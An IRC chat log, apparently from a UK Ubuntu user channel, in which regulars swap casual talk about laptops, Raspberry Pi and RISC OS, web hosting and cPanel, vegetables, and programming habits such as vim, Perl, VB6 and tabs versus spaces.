<bigcalm> dwatkins: are each of the US episodes 1h 30m long?
<Myrtti> foobarry: sure, Jonny Lee Miller and this season Rhys Ifans
<dwatkins> bigcalm: fair point, probably not
<Myrtti> (not on every episode, mind you)
<Myrtti> and each us episode doesn't glue as firmly to others as the uk ones
<foobarry> i won't be watching. american tv gives me bellyache at best of times
<Myrtti> it's an ok series, better than most of them
<MooDoo> dwatkins: are you on about elemetary?
<Myrtti> MooDoo: probably
<Myrtti> I happily watch both
<MooDoo> Myrtti: yeah it is, sorry didn't see jonny lee miller lol
<diplo> dwatkins: I really like Elementary
<diplo> Good show
<diplo> bigcalm: Hour long ( well with adverts so closer to 40/45 mins probably )
<bigcalm> Laptop has made it to "In Production". Woop. Wonder how many days it'll stay there
<diddledan> lol
<diddledan> morning
<Myrtti> bigcalm: which one did you get eventually?
<bigcalm> Myrtti: http://www.dell.com/uk/p/inspiron-15-7537/pd?oc=cn75305&model_id=inspiron-15-7537
<Myrtti> D is looking for a new laptop but is almost militantly against Dells :-/
<MartijnVdS> why? build quality has improved a lot, especially in the top-of-the-line model
<MartijnVdS> s
<Myrtti> I don't get it myself either, I like Dells
<foobarry> had v good experience at home and in enterprise with business dells
<foobarry> over 15 years working with them
<foobarry> excluding the nvidia debacle that affected all vendors
<bigcalm> I hope Ubuntu works out of the box on this new laptop
<bashrc> it's always a gamble with new hardware
<bashrc> IMHO all new laptops should have an Ubuntu preinstall option
<foobarry> 1st anniversary of losing my dad today. plus my sons birthday. talk about mixed feelings :S
<TwistedLucidity> foobarry: Really? Dell screens fail pretty quickly IME. They get this weird "ring" kind of effect.
<TwistedLucidity> Which is odd and Dell desktop screens are pretty awesome.
<TwistedLucidity> s/and/as
<foobarry> TwistedLucidity: the ring effect is from pushing too hard on the outer case. was common with old inspiron models
<MartijnVdS> don't put things on top of laptops
<BigRedS> or buy laptops with more rigid backs of screens
<TwistedLucidity> foobarry: That's what we used, Inspirons. Not sure what they use now. I'm not important enough to have a laptop and am not in the office any more
<TwistedLucidity> MartijnVdS: I don't.
<TwistedLucidity> BigRedS: That'd be Apple and we don't support OS X.
<popey> my mbp has a small glowing area, i think someone left a pen in the laptop and shut it
<TwistedLucidity> Even ThinkPads seems to have poor screens these days - although I've no clapped eye on the new T?40 models
<Myrtti> foobarry: hang in there - I know I'll forever dread and hate last four days of June myself
<TwistedLucidity> popey: They should have the web cam act as a proximity sensor and sound an alarm on close if an object is in the way.
<popey> bigcalm: you have snow!?
<bigcalm> popey: we have indeed, quite a surprise
<MartijnVdS> bigcalm: where are you? the North Pole?
<DJones> hmmh, bigcalm = Santa ?
<bigcalm> MartijnVdS: if I was, snow would be less of a surprise
<bigcalm> DJones: my wife won't let me grow the beard
<MartijnVdS> bigcalm: show her http://tvtropes.org/pmwiki/pmwiki.php/Main/GrowingTheBeard
<MartijnVdS> bigcalm: "Growing the Beard is the definitive moment when a television series begins to become noticeably better in quality"
<bigcalm> MartijnVdS: http://www.flickr.com/photos/bigcuthy/sets/72157606644018228/
<MartijnVdS> bigcalm: it grows backwards?!
<MartijnVdS> or is it all "slightly more shaved", starting from the beginning with a full beard?
<bigcalm> ...
<bigcalm> I'll let you decide :)
<MartijnVdS> bigcalm: O dpm
<MartijnVdS> blah
<MartijnVdS> I don't know how your hair grows!
<bigcalm> Heh
<bigcalm> Annoyed that the batteries in the flash were dead of the last shot
<bigcalm> s/of/for
<foobarry> ended up getting a fifth email from linkedin yesterday. thats the nail in the coffin
<BigRedS> TwistedLucidity: my thinkpad seems to do okay
<BigRedS> the screen's one of the few bits I've not yet replaced
<BigRedS> foobarry: you know you can just turn those off?
<TwistedLucidity> BigRedS: Got a T430 and whilst the screen is bareable, it's no IPS.
<TwistedLucidity> *bearable
<TwistedLucidity> And not even close to the g/f's MBP.
<BigRedS> nah, but mbps don't have nipples
<foobarry> BigRedS: gonna have a look. i have a secret stalker account that some settings mysteriously enabled themselves, causing much embarrasment
<TwistedLucidity> BigRedS: Yup, that is a good feature but not as important as the screen. I can't switch to IPS, but there are better Lenovo screens that can be used. Might give modding a bit og a go.
<BigRedS> I thought your issue was screens breaking
<brobostigon> morning all.
<TwistedLucidity> BigRedS: Use to be the case in the office - pretty sure they stopped using Dells now.
<TwistedLucidity> I know we dropped them for desktops after they kept failing.
<MartijnVdS> TwistedLucidity: where I worked, they always failed inside warranty, so we had Dell engineers to fix them almost every week 8-)
<popey> i wish I had pushed back on dell when my xps failed a few years back
<popey> hey ho, happy with my thinkpad now
<TwistedLucidity> popey: BigRedS: You got a fingerprint reader on yours?
<BigRedS> yeah, but it's not plugged in
<popey> on my thinkpad? yes
<popey> but I never use it
<BigRedS> every second kernel upgrade seemed to make a blindingly bright LED stay on permanently
<foobarry> sharpie
<BigRedS> so one time I took it apart I just didn't plug it back in
<TwistedLucidity> popey: Ah, I was going to ask if it worked. Mine scans, says it has my print but then doesn't manage to identify
<BigRedS> fingerprint readers for auth on laptops has long seemed like a ridiculous idea to me anyway
<popey> it has an LED?
<TwistedLucidity> BigRedS: The light only comes on when the pad is enabled and that should only happen if the scanner package is installed and running
<BigRedS> They're right next to about 100 copies of an imprint of your fingerprint
<TwistedLucidity> popey: Aye, glows green I think
<BigRedS> TwistedLucidity: mine always came on when X did
<popey> fancy
<BigRedS> popey: mine's the one before yours IIRC; X201
<popey> i enabled it when i first got the laptop then realised it was silly so disabled it
<TwistedLucidity> popey: Yeah, I know it isn't the best idea in the world - just wanted to see if it worked.
<popey> yeah, works
<popey> well, worked when I tried it â»
<BigRedS> mine never did :)
<BigRedS> But I think I only tried it in Debian
<TwistedLucidity> About the only thing it doesn't do, which would be nice, is enable/disable the various radios from CLI/DE. Although I'll admit, I haven't looked too hard into it as the Function Key combos seem to work.
<davmor2> Morning all
<bigcalm> Morning davmor2
<bigcalm> Wonder if my new laptop will arrive before the next LUG
 * DJones wonders whether to look at the person who accepted a facebook request from an account supposedly using our enquiries@ email account
<davmor2> bigcalm: I wonder if my n4 will
<bigcalm> Yay toys!
<davmor2> bigcalm: work toy for me as they are drop maguro and the old n7 which are the two devices I happen to have :D
<davmor2> s/drop/dropping
<bigcalm> So they are buying you toys rather than you having to pay I hope
<bigcalm> davmor2: is your toy being shipped from China?
<davmor2> bigcalm: no idea just the cheapest on the interwebz that I could find, still a whole Â£2 more than Google were selling them off for though :(
<foobarry> my kobo arrived \o/
<foobarry> nice rubberised backing
 * foobarry puts it back in the box until birthday
<popey> sounds similar to the nook which also has a rubberised backing
<Laney> oops
<Laney> popey: did you ask me about a backport?
<Laney> I saw the highlight and then forgot to reply and then forgot what it was about in particular
<foobarry> http://www.computershopper.com/var/ezwebin_site/storage/images/media/images/kobo-back/632309-1-eng-US/kobo-back_large.jpg+
<popey> i did
<popey> mumble
 * Laney spins around in circles
<popey> 1.2.4
<foobarry> sort of diamondy textured rubber
<Laney> first step: file the request, second step: someone check it works, third step: it gets uploaded
<davmor2> bigcalm: looked on EBAY and the bids there were 236 - 320 for the n4 and then the lower spec one was in at 168+  so typed it into the dash and amazon had one for 201, dash to the rescue \o/ woohoo! :)
<Laney> https://wiki.ubuntu.com/UbuntuBackports
<popey> kk
<foobarry> how do i insert a reference in a LO writer doc, like a vmware official doc [1] says "meh"
 * TwistedLucidity blames davmor2 for putting N4 thoughts into his head
<davmor2> TwistedLucidity: I blame bigcalm wishing his laptop would arrive
<bigcalm> I blame my lack of decent laptop and am rather impatient
<popey> Uhoh! School inspection starts next week.
<popey> wifey will be fun to live with that week.
<davmor2> bigcalm: I was going to say you are the same when you order a pen and I know you have plenty of decent pens :P
<bigcalm> davmor2: except that I buy pens direct from high street shops
<davmor2> popey: you mean this week and next week, This week preping, next week doing :)
<popey> true
<davmor2> popey: lavender scented baths for when she comes home ;)
<foobarry> and wine, flowers
<foobarry> all my pens come from tech shows
<popey> heh
<Seeker`> sleeping pills in the wine? :P
<popey> http://smstextblog.blogspot.co.uk/2014/01/raspi-sat-nav.html?m=1
<popey> interessin
<foobarry> how can a rasb pi be powered? using a phone charger? using a laptop also?
<MartijnVdS> foobarry: laptop might work, but 500mA isn't a lot and it might be unstable
<MartijnVdS> foobarry: 1A or 1.5A phone charger is your best bet
<foobarry> bah, have to wait till tomorrow then
<foobarry> left phone charger at hoem
<popey> mine works fine via laptop usb
<popey> for the pi itself, only becomes unstable if you plug usb wifi adapters and stuff into it
<foobarry> great, i'll try via my desktop
<foobarry> i wanna run risc os, so no wifi req'd
<popey> mine is an old pi though, original B1 model i think
<AlexDSX> Hey, can anyone recommend a good UK hosting company?
<MartijnVdS> the one with less mem?
<MartijnVdS> AlexDSX: hosting what?
<diddledan> I've got three of those
<AlexDSX> PHP websites, mostly WordPress, some CI projects.
<MartijnVdS> AlexDSX: so, VPSes basically?
<diddledan> annoying that they increased the mem after I bought them
<AlexDSX> Would be looking for dedicated or VPS to host multiple sites on
<popey> bitfolk!
<popey> http://bitfolk.com/
<popey> or #bitfolk on irc.lug.org.uk
<AlexDSX> Just having a look :)
<MartijnVdS> there's also bytemark, which is very open source friendly :)
<popey> i have had a vps from them for uhm... years
<popey> since 2006 maybe
<AlexDSX> I'm a Developer at a marketing company, so we're looking for a new host.
<AlexDSX> Thanks for all the suggestions, just trying to read them all.
<AlexDSX> I'm so used to US hosts like hostgator and media temple etc which I love.
<ali1234> i don't know why people bother with VPS these days when dedicated servers are so cheat
<diddledan> hetzner dedicated servers are ubercheap
<diddledan> getting an equivalent system in blighty as I can get from hetzner would cost me nearly double
<foobarry> A retired police officer shot dead a fellow cinemagoer in Florida in an argument over texting, police say.
<bashrc> I just have a server at home, but then my needs are modest
<foobarry> Ex-officer Curtis Reeves, 71, opened fire after asking a man sitting directly in front of him to stop texting several times, a Pasco County Sheriff spokesman said.
<foobarry> who takes a gun to the cinema?
<ali1234> americans
<bashrc> dumb americans
<foobarry> i seehow it happens. when people sit in their car outside beeping their horn at 12 midnight, i feel the urge to shoot people
<diddledan> foobarry: you would too if you were worried about damned text-addicts
<AlexDSX> Do dedicated servers normally come with cpanel?
<MooDoo> 71??
<foobarry> especially when they set off massive fireworks in the middle of the night for no reason, waking the whole dog/baby up
<MooDoo> AlexDSX: not realy unless you purchase it at the same time
<MooDoo> cpanel = cpanel.net ??   or a generic control panel?
 * TheOpenSourcerer has 5 dedicated servers at Hetzner.
<AlexDSX> So generally with dedicated you'd get your basic platform setup, i.e. linux, apache etc. Then it's up to you to install cpanel
<AlexDSX> I mean cpanel, not generic.
<MartijnVdS> AlexDSX: Most hosting providers have options to use cpanel (or one of its competitors) at install time
<TheOpenSourcerer> Don't use Cpanel or Plesk - hate it.
<diddledan> TheOpenSourcerer: I've only got one but it's a beast
<MooDoo> what MartijnVdS saif
<diddledan> me too on the cpanel/plesk hating
<AlexDSX> TheOpenSourcerer what do you recommend?
<ali1234> yeah, cpanel is something people only use when they have no choice, because they bought shared hosting
<TheOpenSourcerer> We have one customer who has 7 VPS with us and ech of those runs CPanel.
<AlexDSX> TheOpenSourcerer I'm no a fan of Plesk at all, but being quite comfortable with cpanel.
<TheOpenSourcerer>  - lol
<MooDoo> I like cpanel, hate plesk
<TheOpenSourcerer> I dislike all of them.
<AlexDSX> TheOpenSourcerer So what do you use?
<TheOpenSourcerer> nothing.
 * diddledan hides in shame, but I have a soft spot for virtualmin from webmin guys
<TheOpenSourcerer> Command line and KVM
<diddledan> I don't use it tho
<MooDoo> AlexDSX: you only generally need cpanel if you don't know how to setup everything manually
<ali1234> i love it when web designers ask me for "the cpanel login so i can upload the files"
<MooDoo> cpanel is a convenience.
<TheOpenSourcerer> cpanel is an annoyance
<popey> name a vegetable I probably haven't eaten recently that I should try
<TheOpenSourcerer> Kol Rabi
<popey> (can you tell I'm doing the online grocery shopping)
<diddledan> popey: fennel
<foobarry> fenugreek
<TheOpenSourcerer> popey: ^^
<foobarry> pak choi
<popey> whats kol rabi?
<TheOpenSourcerer> Fenugreek is a herb
<foobarry> what's fennel?
<popey> ooh, some good suggestions giving me ideas, thanks chaps! that was easy
<TheOpenSourcerer> Spelt it wrong: http://www.bbcgoodfood.com/glossary/kohlrabi
<popey> keep going tho
<TheOpenSourcerer> popey: As a good citizen you should also try for UK grown and preferably seasonal only.
<foobarry> celeriac
<davmor2> popey: Enokitake
<TheOpenSourcerer> Edoes
<foobarry> sugru
<diddledan> foobarry: this is fennel: http://leighcourtfarm.org.uk/uploads/images/fennel-bulb.jpg
<DJones> popey: Romanesco
<TheOpenSourcerer> Mooli
<foobarry> diddledan: but what is it classified as?
<MartijnVdS> diddledan: Venkel!
<diddledan> foobarry: green
<TheOpenSourcerer> DJones: Good call! That's awaesome
<popey> hah, sugru
<popey> bit chewy
<TheOpenSourcerer> Sweet Potatoes
<popey> oh no, not chewy anymore
<popey> HELP! MY MOUTH!
<TheOpenSourcerer> Butternut Squash
<popey> ooh, good call, rarely have sweet potatoes
<MartijnVdS> popey: at least you won't need fillings
<diddledan> sweet spuds are awesoem
<popey> +1
<TheOpenSourcerer> Purple Sprouting Brocolli
<Dave2> Mash of swede and normal potato with nutmeg and pepper = teh tasty
<TheOpenSourcerer> Turnips!
<Dave2> I want to make some now
<foobarry> ever eaten pickled white asparagus? yum
<davmor2> popey: Plantain
<TheOpenSourcerer> davmor2: Isn't that a fruit?
<diddledan> plantains don't appeal to me
<popey> I'd like to try that sometime
<diddledan> they look like poor-mans nana
<popey> maybe with some jerk chicken
<davmor2> TheOpenSourcerer: the first was technically a fungi
<davmor2> popey: black pea and bacon iirc for Plantain
<TheOpenSourcerer> Never heard of that one before  ;-)
<TheOpenSourcerer> My favourite veg: Leeks!
<popey> ooh!
<popey> good call
<popey> love leeks
<davmor2> TheOpenSourcerer: don't let your chilis hear you say that
<MartijnVdS> TheOpenSourcerer: so.. leekspin.com?
<diddledan> popey: I guess you're overbudget this week on shopping, now? :-p
<TheOpenSourcerer> Sliced lengthways, put in a roasting dish with a glass of white wine sprinkle with some pine kernels and grated cheese, cover with foil cook in over for 1/2hr or so.
<TheOpenSourcerer> Just about perfect
<TheOpenSourcerer> davmor2: https://plus.google.com/u/0/+AlanLord/posts/7ysJbZ3JMrL
<davmor2> popey: http://www.foodnetwork.co.uk/recipes/plantain-mash-bacon.html?omnisource=gid_uk
<popey> bacon!
<davmor2> popey: told you plantian went with black pea or bacon
<davmor2> popey: jerk chicken is more a side to curried goat and peas and rice :)
<TheOpenSourcerer> popey: http://izismile.com/2014/01/09/the_intricate_process_of_making_sriracha_23_gifs.html
<popey> there's a shortage isnt there?>
<popey> some issue with their factor in SFO
<popey> (i have run out)
<TheOpenSourcerer> There was some dispute in CA where they said he had to shutdown due to the smells (lol). But from what I heard it was end-of-season anyway and made no difference.
<popey> ah
<TheOpenSourcerer> But yes, on Amazon it appears to be out of stock.
<TheOpenSourcerer> http://www.amazon.co.uk/Sriracha-Hot-Chili-Sauce-482/dp/B0002PSOJW/ref=pd_sim_grocery_2 << This one isn't
<MartijnVdS> TheOpenSourcerer: there was a fire in a Sriracha factory too earlier this year
<TheOpenSourcerer> Oh - was that before or after the move?
<MartijnVdS> TheOpenSourcerer: no idea
<foobarry> rpi's just turn on wwhen power is connected?
<MartijnVdS> yes
<foobarry> hmm
<MartijnVdS> but you need a properly laid-out SD card for it to actually *do* anything :)
<foobarry> and maybe the hdmi->dvi adapter doesn't work with it
<MartijnVdS> foobarry: it should
<foobarry>  wow. riscos boots in mere seconds :_
<foobarry> nostalgia  overload
<dwatkins> I played Elite on my Raspberry Pi under RISC OS, hours of fun.
<dwatkins> I also had fun writing BASIC programs to draw triangles, and wondered what they did to mess up the mode numbers.
<popey> Eben was very keen that the pi would be a "BBC Micro"
<popey> shame that didnt initially pan out
<dwatkins> Model A vs Model B, shame they didn't call the Model B with more RAM the Model B+
<popey> there's lots of models
<popey> B1, B1+, B2, A
<dwatkins> ah ok. what were they hoping to do? something like the school programme in the 1980s with the beeb?
<dwatkins> Micro Live etc.
<popey> dunno
<dwatkins> would have been neat
<diddledan> what's the diff between b1+ and b2?
<MartijnVdS> mounting holes I think
<popey> http://raspberryalphaomega.org.uk/2013/02/06/automatic-raspberry-pi-board-revision-detection-model-a-b1-and-b2/
<popey> that gives you the full diff
<diddledan> ta
<diddledan> o_O there's B2 and B2 (rev2)?
<dwatkins> B2 or not B2....
<dwatkins> ...that is the question
<dwatkins> I'll get my coat.
<diddledan> oh was the B2 the board layout that got mass-produced and the rev2 was just the swap-out of the ram chip therefore not needing a board id change?
<lazarus_> hi all
<foobarry> http://i.imgur.com/I5a0apc.jpg sooo much nostalgia
<foobarry> so fast aswell
<popey> i thougt the ram was piggy backed on the cpu
<MartijnVdS> popey: it is soldered on top of it
<diddledan> popey: it is
<diddledan> known as a POP
<popey> https://vimeo.com/hnlondon watched that the other day, Eben talking about the history of the pi
<popey> some nice little stories in there
<MartijnVdS> hm. Amazon applied a Â£16 discount to my latest order.. by I have *no* idea why. Nothing in my gift card balance.
<foobarry> affiliate moneys
<MartijnVdS> foobarry: I don't have an affiliate account, afaik
<foobarry> voodoo
<MartijnVdS> if it's in my favour, why nout
<MartijnVdS> not
<MartijnVdS> (yay, free shaving)
<MooDoo> http://www.networkworld.com/community/blog/nerdiest-and-most-high-tech-business-card-youve-ever-seen?utm_content=bufferc5f7f&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer
<MooDoo> want one :D
<awilkins> Where are the right-click shortcuts for Nautilus stored? I renamed my home folder but they are all absolute paths so they no longer work...
<MartijnVdS> right-click shortcuts?
<awilkins> Yeah, when you right click on the Nautilus icon in the dash, Downloads, Music, etc
<MartijnVdS> never tried that
<awilkins> I'm actually quite annoyed by the enormous number of things that store an explicit path to your home folder :-)
<awilkins> Especially ones that use dconf
<MartijnVdS> why change it though
<awilkins> I wanted it to agree with the name on another machine - because of yet another thing that can't deal with relative paths (eclipse)
<awilkins> I have an external caddy that I plug in and bind-mount folders from into my current home folder so I can carry work around
<diddledan> symlink?
<diddledan> sudo ln -s /home/pc1homefolder /home/pc2homefolder
<awilkins> diddledan, Doesn't work properly - some things climb out of the linked folder
<diddledan> fudge
<diddledan> that's annoying
<awilkins> Yeah
<awilkins> sudo mount -o bind /media/me/otherpc/home/folder ~/folder works well
<awilkins> But Eclipse still expects the full path to match ; so having the same home folder path on each drive becomes a goal
<MartijnVdS> "So then I switched to vim"
<awilkins> I don't think I'm quite ready to move Java development to vim :-P
<diddledan> I like sublime text
<BigRedS> I keep meaning to try that. But I don't know what I want it to do that vim doesn't
<diddledan> BigRedS: the big thing that it does that vim doesn't, is: be not vim
<BigRedS> I got geany with crunchbang and while I was looking around it it seems quite nice compared to gedit. But then I tried to use it and left a sprinkling of :w everywhere
<BigRedS> diddledan: that's a bug, surely!
<diddledan> I can't work vim
<BigRedS> ah, the problem there is that you haven't learnt vim
<diddledan> I can do basic stuff but anything clever is no-go
<awilkins> vim is well worth climbing a little way up the learning curve
<BigRedS> though judging by my experience, doing that just makes you intolerant of everything else
<awilkins> But it definitely requires intensive study to do anything really clevber
<BigRedS> but being conversant in vi is _really_ useful since it's always there
<MartijnVdS> BigRedS: but.. single-level undo, hjkl, *shudder*
<awilkins> Emacs just makes my brain hurt though
<MartijnVdS> BigRedS: (think vim in compat-mode
<diddledan> like, somehow I managed once to split a vi screen and couldn't work out how to unsplit it so I had to quit and restart
<awilkins> Huh? vim has unlimited undo, no?
<awilkins> And I use hjkl in normal vim
<BigRedS> awilkins: vim yes, vim-in-vi-mode no
<diddledan> hjkl?
<BigRedS> rather than arrow keys
<diddledan> oh
<awilkins> The arrow keys are far away from everything else
<awilkins> Using them is therefore inefficient
<BigRedS> It's one bit of vim usage that I've never really got into
<BigRedS> well, one of the bits...
<awilkins> It's fine once you remember that J is "down" because the butt end of J points downwards
<Laney> haha
<BigRedS> by the time I've remembered that my hand's on the arrow keys
<MartijnVdS> I don't do hjkl. I also use gvim + mouse often
<diddledan> a major annoyance I have with vi/vim is that on some systems pressing the arrow keys puts D in your text on a new line
<Laney> It just became unconscious after a little while for me
<MartijnVdS> diddledan: that's vim in "compat" mode. Try :set nocp
<BigRedS> Laney: yeah, I keep trying to spend a day doing it to get my head round it, then by about 9am I've already reverted to muscle memory
<BigRedS> Maybe I need to remove my arrow keys
<MartijnVdS> BigRedS: nah, you need to ignore the haters :)
<awilkins> Change your keymap to Dvorak and then try using vim
<awilkins> MUAHAHAHA
<diddledan> ewwww
<awilkins> It's bad enough learning to use vim on a UK keymap, TBH
<diddledan> I know someone who insists on using DVORAK
<diddledan> he's a scala guru
<diddledan> the problem with that is that he's left us with a load of scala properties which noone in our organisation knows how to maintain
<awilkins> Well, that's hardly his fault
<awilkins> Organizations should do their due diligence about single-points-of-failur
<MartijnVdS> awilkins: but that's EXPENSIVE
<MartijnVdS> awilkins: can't we just hire a consultant to fix it?
<MartijnVdS> </previous_job>
<awilkins> I actually worked for one place that made me redundant, then realized that i) they were a software company ii) I was the only developer they had on staff iii) I'd just written them a major mail-merge system
<BigRedS> my main problem with dvorak is if you press what looks like ctrl-c, dvorak is ctrl-J
<BigRedS> which is equivalent to 'enter'
<MartijnVdS> awilkins: they still spam people? ;)
<awilkins> They came back a couple of weeks into my notice period and said "can we actually, like, not fire you??"
<awilkins> MartijnVdS, No, this was for actual proper stuff - library card issuing or something
<MartijnVdS> awilkins: I found a new job wen $boss announced he'd be scrapping most of the devs' jobs. Now the plan didn't go through and the company has a problem of devs running away.
<awilkins> My response was "you do know I have a job interview with a 37% pay raise attafched to it tomorrow, right?"
<diddledan> surely they kinda burnt their bridge by firing you in the first place
<MartijnVdS> awilkins: new job > free money because of firing
<awilkins> MartijnVdS, Yeah, they gave me a massive tax-free severance payment too to stop me (quite correctly) suing them for wrongful dismissal
<MartijnVdS> that's useful :)
<awilkins> Some of the job was interesting
<awilkins> And I quite like being the only shark in the pond
<awilkins> There was some cool crypto stuff because it was smartcard dev
<awilkins> But VB6
<diddledan> >.<
<MartijnVdS> *le shuddre*
<diddledan> eek
<diddledan> I literally just swallowed my tongue then
<awilkins> I refuse to learn VB.NET on the grounds that it will destroy the fact that I'm an N-th level wizard in VB6
<MartijnVdS> I hope this was when VB was current
<awilkins> Hahahah
<MartijnVdS> VB6*
<awilkins> Before the VB6 I did VB3
<diddledan> when as VB6 _ever_ been current?
<MartijnVdS> awilkins: I moved to Turbo Pascal from Quick Basic 4.5
<diddledan> has*
<awilkins> I've written XML parsers for VB3
<awilkins> And XML / RDBMS  object persistence frameworks for VB6
<awilkins> I can make string handling in VB6 go *fast*
<diddledan> when I was teaching myself programming I created CGI scripts in VB6
<awilkins> VBScript is not VB6
<awilkins> Was that ASP pages
<diddledan> no, not VBScript
<awilkins> Or VB6 programs that ate input and spat output?
<diddledan> actual .exe cgi scripts
<awilkins> Hehe
<awilkins> Did you have to do the little hack to turn them into console programs with STDIN and STDOUT?
<diddledan> I can't remember now
<MartijnVdS> /topic Welcome to #visualbasic-devs
<awilkins> I can't recall what it was now but by default the compiler produces programs with no console
<awilkins> The main problem with VB6 was that it was so easy to do stupid and evil things
<awilkins> Once you have discipline (and a good set of libraries) it's not a bad language to knock things up in quickly,
<awilkins> especially silly little GUI things for editing resources
 * MartijnVdS still prefers Perl
<diddledan> I really need to teach myself some perl
<MartijnVdS> diddledan: yay, it's fun :)
<diddledan> I can barely cobble a single-file script
<diddledan> but OO and multi-file code I can't wrap my head around
<MartijnVdS> diddledan: have a look at Moose (on CPAN, apt-get install libmoose-perl)
<awilkins> OO is a definite mental shift
<MartijnVdS> diddledan: that's "the" OO framework most people use these days
<awilkins> Multi-file code not so much
<MartijnVdS> diddledan: also, perldoc perlboot
<awilkins> If you're using any modern language you're already using a huge library written in many files - you're just adding more
<awilkins> If you have a problem with multi-file code you're probably not familiar enough with making / calling procedures in your own code
<BigRedS> nah, I spent ages shoving everything in one file just because it's easier to edit and distribute that way
<awilkins> The key point to grasp for OO is polymorphism, not implementation inheritance (which is what many sources seem to concentrate on)
<BigRedS> it's later on where you notice that having split modules off is actually really handy
<awilkins> The Gang of Four "patterns" book is probably a good thing to read for OO
<BigRedS> oh, I just meant multiple-files in general. I use OO interfaces now and again but all my code is basically procedural
<awilkins> As are Scott Ambler's books
<MartijnVdS> awilkins: people should also learn that *composition* is often what you mean when your first instinct is inheritance
<diddledan> like I can't work out how to have a sub foo {} in a file bar.pm and get it imported into the namespace of my main.pl
<diddledan> so that I can call it with &foo()
<MartijnVdS> diddledan: then you need to "use Exporter 'import';" and put it in @EXPORT_OK
<MartijnVdS> diddledan: Don't call functions with & in front
<MartijnVdS> diddledan: that's so Perl 4
<MartijnVdS> :)
<diddledan> it's been a while
<MartijnVdS> diddledan: 20 years?
<MartijnVdS>           5.000alpha1   1993-Jul-31
<MartijnVdS>  Larry   5.000          1994-Oct-17
<diddledan> heh
<diddledan> well I was last messing with perl in earnest in 1999 ish
<MartijnVdS> 5.005 era
<MartijnVdS> that's when I started
<awilkins> I'm afraid I'm not a perler
<awilkins> I've fixed perl
<MartijnVdS> diddledan: Try asking the people on #london.pm on irc.perl.org if you ever need Perl advice :)
<diddledan> all the documentation online at the time said that functions were called as &foo
<awilkins> And hacked around the existing perl `xquery` command supplied with the perl binding for libxml to work for libxml2
<MartijnVdS> diddledan: most of the smartest Perl people are in there
<diddledan> ah nice
<awilkins> But I'm more of a Python boy
<awilkins> Althogh not much of that
<awilkins> Java is my dayjob
<diddledan> java \o/
<diddledan> :-p
<diddledan> why does java get a bad rep, anyway?
<awilkins> Dunno
<MartijnVdS> diddledan: it already had that in '99
<awilkins> I suppose it's not as slick and quick as Ruby or Python
<awilkins> Many of the reasons it gets a bad rep have been overtaken by technology
<awilkins> Although I still find it *excruciating* to do GUI layouts in
<MartijnVdS> diddledan: it was slow, every app comes with its own copy of the jre, it's not as write-once-run-anywhere as you'd hope
<awilkins> The "own copy of JRE" thing is still true
<diddledan> I can't work ruby, either - it's got things that look like they're painful and make my eyes go screwey
<awilkins> Well, for OTHER peoples apps
<MartijnVdS> oh and a copy of every supporting libs
<MartijnVdS> lib*
<awilkins> Ruby just has too many maddening inconsistencies for me
<awilkins> And also reverts back to an era where IDEs didn't exist
<MartijnVdS> I only use it for chef recipes
<awilkins> The whole thing.to_s  convention is just silly when you can have an editor that will autocomplete for free
<awilkins> And underscores in naming conventions, blech
<awilkins> (python also guilty I think)
<MartijnVdS> underscore names for subs, CamelCase for classes
<MartijnVdS> (and interfaces, etc.)
<awilkins> Like the arrows, underscore is too far away for people to want to type it frequently
<awilkins> ctrl-space is easy to reach. Get an IDE / smart editor and use autocompletion.
<diddledan> I like camelCase for functions and InitialCapsCamelCase for classes
<MartijnVdS> meh :)
<awilkins> Yeah, the Java convention for names is fine
<awilkins> Especially when you start learning and using patterns
<awilkins> Things named consistently for their patterns are very easy to use
<awilkins> i_have_a_dev_who_names_things_like_this
<diddledan> dead dog man!
<MartijnVdS> good man!
<awilkins> public bool willAdrianKillHim() { return true; }
<diddledan> I mean "dear god man"
<BigRedS> haha
<BigRedS> Every time I open up a new file I wonder about my extant conventions and whether to change any of them....
<BigRedS> it's generally camelcase for everything except hash keys
<diddledan> public bool dead = false; public void kill() { dead = this.willAdrianKillHim(); } public bool isHeDeadYet() { return dead; }
<BigRedS> I don't know why
 * awilkins contemplates opening a tabs vs spaces fight
<BigRedS> I don't understand why you'd use spaces and I don't think I'm ever going to
<BigRedS> they're like emacs
<diddledan> TABS!!!!!
<awilkins> Tabs
<BigRedS> in that regard
<diddledan> I get seriously peed off when I open a file with mixed tabs+spaces
<BigRedS> just always always always use spaces to align things on different lines
<awilkins> The main argument I get for using spaces is that mid-line code alignment doesn't work properly with tabs
<awilkins> To which I say - use tabs for indent and spaces for alignment
<awilkins> AND
<BigRedS> exactly
<awilkins> inline alignment of code is stupid
<MartijnVdS> "But I can't see the diffrerence!"
<BigRedS> I quite like inline alignment of code
<awilkins> because you then add a variable with a longer name and have to re-align the other lines
<MartijnVdS> awilkins: it's nice to align key/value pairs nicely.. easy on the eye
<diddledan> lol
<BigRedS> yeah
<awilkins> Which generates a bunch of changes in your VCS that mean nothing
<diddledan> yeah VCS with alignment issues is a pain
<MartijnVdS> awilkins: Yeah.. well..
<awilkins> One of my general rules is that if your code style causes changes to VCS history that don't actually mean changed code logic then it's wrong
<MartijnVdS> awilkins: we do write:
<MartijnVdS> if (foo) {
<MartijnVdS> }
<MartijnVdS> else {
<MartijnVdS> }
<MartijnVdS> to reduce diff noise
<awilkins> I would usually do
<awilkins> if (foo) {
<awilkins> } else {
<MartijnVdS> when adding an elsif in there
<awilkins> }
<BigRedS> awilkins: I view inlined code as not unlike indented code
<awilkins> But I will consider your modification to the code style ...
<awilkins> I like comma-prefix in lists rather than suffix
<awilkins> ie
<awilkins> String[] stuff = new String [] {
<awilkins>                  "thing"
<awilkins>                       , "nextThing"
<awilkins>                     , "nextThing2"
<BigRedS> I've never come across that and I dislike it already :)
<awilkins> (pardon my uneven indents, stupid proportional fonts in IRC text entry bar, but fixed width in output
<awilkins> If you add a new item with commas at the end (which is the most common thing to do) you affect 2 lines of code
<awilkins> With the comma at the beginning you only add one line
<BigRedS> I have a trailing comma on every line generally
<BigRedS> partly so I don't need to append one to the preceeding line
<awilkins> Ah, but that only works in some languages
<BigRedS> yeah, but I only write in some languages :)
<awilkins> And it's also dodgy in some of the ones that will permit it, like JavaScript, because implementations differ in different browsers
<awilkins> IE chokes on that, but everything else works fine
<BigRedS> In fact, I only really write in Perl, so some would say I've no place talking about code aesthetics
<awilkins> You might think that some people describe Perl code as "keyboard vomit". I couldn't possibly comment.
<daubers> awilkins: You just vomit like me?
<awilkins> Nope
<diddledan> does perl still use many different sigils depending on context?
<diddledan> I never did get used to using the correct one
<diddledan> e.g. % for hash, @ for array etc
<Laney> ffs
